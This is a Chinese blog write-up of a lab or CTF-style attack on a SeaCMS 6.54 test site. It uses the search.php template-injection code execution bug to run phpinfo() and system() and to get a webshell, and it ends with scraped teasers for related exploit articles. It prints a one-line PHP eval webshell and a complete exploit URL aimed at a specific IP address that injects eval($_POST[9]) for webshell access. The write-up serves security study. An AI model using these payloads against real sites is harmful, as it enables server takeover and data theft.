实验环境:海洋CMS6.54(后续版本已该洞已补)

1、后台登录尝试

这个站点是个测试站,站里没什么数据。

进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破。有验证码的也有一个爆破软件,可以识别验证码的,但是试了试用不了。

后天失败。。。

2、网上搜集该CMS的漏洞

刚才也说了,这个站没什么数据,都是空的,无上传点。

百度搜索海洋CMS的漏洞,有好几个版本的。

1)v6.28:https://www.uedbox.com/seacms-v628-0day/

尝试失败,该版本的漏洞已不可用。

2)v6.45:参考https://www.freebuf.com/vuls/150042.html  和https://bbs.ichunqiu.com/thread-35140-1-5.html

漏洞是search.php的任意代码执行漏洞,

首页有许多的查询选项,我们随便选一个:

看到url:

然后使用hackbar进行上传:

执行payload后看到:(如果失败,换一个查询方式)

说明我们payload里的phpInfo()函数执行成功,该漏洞已成功被利用。

3、运用system()执行命令

将payload稍作修改:

在system()中就可以在服务器上执行命令了,但权限可能不够,如果权限可以的话,可以利用该语句写入一句话木马:

file_put_concents("connect.php","<?php @eval($_POST[pass]);?>"),然后连接菜刀即可。

这里只有读的权限,无法写入一句话。

4、拿shell

这是一个骚操作吧,尝试了很多次,网上查了一大堆,最终还是卡死,幸好有学长指点迷津,方柳暗花明。

还是用一句话连接,用system()无法写入,但可以这样连接。

首先看懂这个payload,我们知道phpinfo()执行成功,可能不太清楚原理,但大致能看懂,phpinfo()是利用这么一个漏洞,分开来写的(payload最后):9[]=ph&9[]=pinfo()。我们payload前面看,原来有一个分开的eval ($_POST[9])呀,这不是一句话嘛。但是要怎么利用呢,无法写入php文件的呀。

这个操作骚就骚在了用url来传递这个payload,而且只需传过去就能用菜刀连上。

利用payload构造url:http://222.22.65.134:15001/HaiYangCMS/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))

放入菜刀,那密码是什么呢,是9[],不是9。

于是乎,连接成功。

记一次海洋cms任意代码执行漏洞拿shell(url一句话)的更多相关文章

  1. i春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)

    打开发现是海洋cms,那就搜索相关漏洞 找到一篇介绍海洋cms的命令执行漏洞的文章:https://www.jianshu.com/p/ebf156afda49 直接利用其中给出的poc /searc ...

  2. php 168任意代码执行漏洞之php的Complex (curly) syntax

    今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...

  3. WordPress wp-includes/functions.php脚本远程任意代码执行漏洞

    漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...

  4. 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞

    Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...

  5. 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析

    近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...

  6. 修复Apache Log4j任意代码执行漏洞安全风险通告

    2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...

  7. 漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)

    近日,Apache官方发布Apache Struts 2.3.5–2.3.31版本及2.5–2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)的紧急 ...

  8. PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案

    首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或  -dauto_prepend_ ...

  9. phpcms前台任意代码执行漏洞(php<5.3)

    phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞 /phpsso_server/phpcms/libs/functions/global.fu ...

随机推荐

  1. 路由器安全-NetFlow

    1.NetFlow介绍 提供高层次的诊断,分类和识别网络异常. 使用NetFlow来检查哪些行为改变明显的攻击是非常有效的. 就像Wiretap一样捕获数据包. NetFlow像电话账单.(谁和谁在通 ...

  2. jquery 分页 Ajax异步

    //使用Ajax异步查询数据 <div class="table-responsive"> <table class="table table-bord ...

  3. dubbo的dispatcher设置原理

    在上回<Dubbo源代码实现六>中我们已经了解到,对于Dubbo集群中的Provider角色,有IO线程池(默认无界)和业务处理线程池(默认200)两个线程池,所以当业务的并发比较高,或者 ...

  4. vector 踩过的坑

    今天,做LeetCode上的一道题,198题:Rob House,在纸上画了画,发现了重复的结构,就使用了递归的方式实现的 #include<iostream> #include<v ...

  5. 一个不会coding的girl Linux日常之命令awk

    Linux日常之命令awk 参考:http://www.zsythink.net/archives/tag/awk/ 一. 命令awk简介 1. awk是一种编程语言,用于对文本和数据进行处理的 2. ...

  6. springBoot整合mybatis-plus关闭自动转换小驼峰命名规则

    增加配置信息 mybatis-plus: configuration: map-underscore-to-camel-case: false

  7. IVM sdk command

    1.load sdk shell ./auto_load_user.sh 2.查看all端口状态 IVM:0>ifcs show devport 3.查看个别端口状态 IVM:0>ifcs ...

  8. Struts配置文件报错"元素类型为 "package" 的内容必须匹配"

    报错信息 元素类型为 "package" 的内容必须匹配 "(result-types?,interceptors?,default-interceptor-ref?,d ...

  9. Go Start

    一.安装 下载解压后,配置PATH tar -C /usr/local -xzf go$VERSION.$OS-$ARCH.tar.gz export PATH=$PATH:/usr/local/go ...

  10. 吴裕雄 Bootstrap 前端框架开发——Bootstrap 表格:在 <tbody> 内添加斑马线形式的条纹 ( IE8 不支持)

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...